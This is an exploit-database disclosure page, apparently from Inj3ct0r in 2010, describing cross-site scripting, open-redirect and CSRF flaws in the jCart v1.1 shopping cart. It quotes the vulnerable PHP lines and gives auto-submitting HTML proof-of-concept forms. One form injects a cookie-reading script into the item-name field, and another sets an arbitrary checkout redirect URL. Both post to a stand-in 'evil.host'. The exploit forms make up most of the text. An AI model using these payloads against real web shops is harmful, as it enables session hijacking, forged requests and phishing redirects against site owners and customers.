[webapps / 0day] - jCart v1.1 Multiple XSS/CSRF/Open Redirec
Posted on 01 October 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>jCart v1.1 Multiple XSS/CSRF/Open Redirect Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='jCart v1.1 Multiple XSS/CSRF/Open Redirect Vulnerabilities by p0deje in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>========================================================== jCart v1.1 Multiple XSS/CSRF/Open Redirect Vulnerabilities ========================================================== <!-- Exploit Title: jCart v1.1 Multiple XSS/CSRF/Open Redirect Vulnerabilities Date: 25.07.2010 Author: p0deje Software Link: http://conceptlogic.com/jcart/ Version: <=1.1 Tested on: OS Independent CVE : -- --> <!-- 1. Cross-site Scripting --> <!-- Vulnerable code snippet: jcart.php ------------------------- line 251: $item_name = $_POST[$item_name]; ... line 256: $item_added = $this->add_item($item_id, $item_qty, $item_price, $item_name); ------------------------- User-supplied input for variable $item_name isn't properly escaped. Proof-of-Concept: --> <html> <form action="http://evil.host/jcart-1.1/jcart/jcart-relay.php" method="POST"> <input name="my-item-id" value="3" type="hidden"> <input name="my-item-qty" value="1" type="hidden"> <input name="my-item-name" value="<script>alert(document.cookie)</script>" type="hidden"> <input name="my-item-price" value="33.25" type="hidden"> <input id="payload" name="my-add-button" value="add to cart" class="button" type="submit"> </form> <script> document.getElementById('payload').click() </script> </html> <!-- 2. Cross-site Scripting / Open Redirect --> <!-- Vulnerable code snippet jcart-gateway.php: ------------------------- line 41: header('Location: ' . $_POST['jcart_checkout_page']); ------------------------- User-supplied data is not properly escaped before passing to header() function. Proof-of-Concept: --> <html> <form action="http://evil.host/jcart-1.1/jcart/jcart-gateway.php" method="POST"> <input name="jcart_checkout_page" value="http://www.google.com" type="hidden"> <input id="payload" name="my-add-button" value="add to cart" class="button" type="submit"> </form> <script> document.getElementById('payload').click() </script> </html> <!-- 3. Cross-site Request Forgery --> <!-- All requests of jCart are vulnerable to CSRF. Proof-of-Concept goes the same as for the first or the second vulnerability. --> # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-01]</pre></body></html>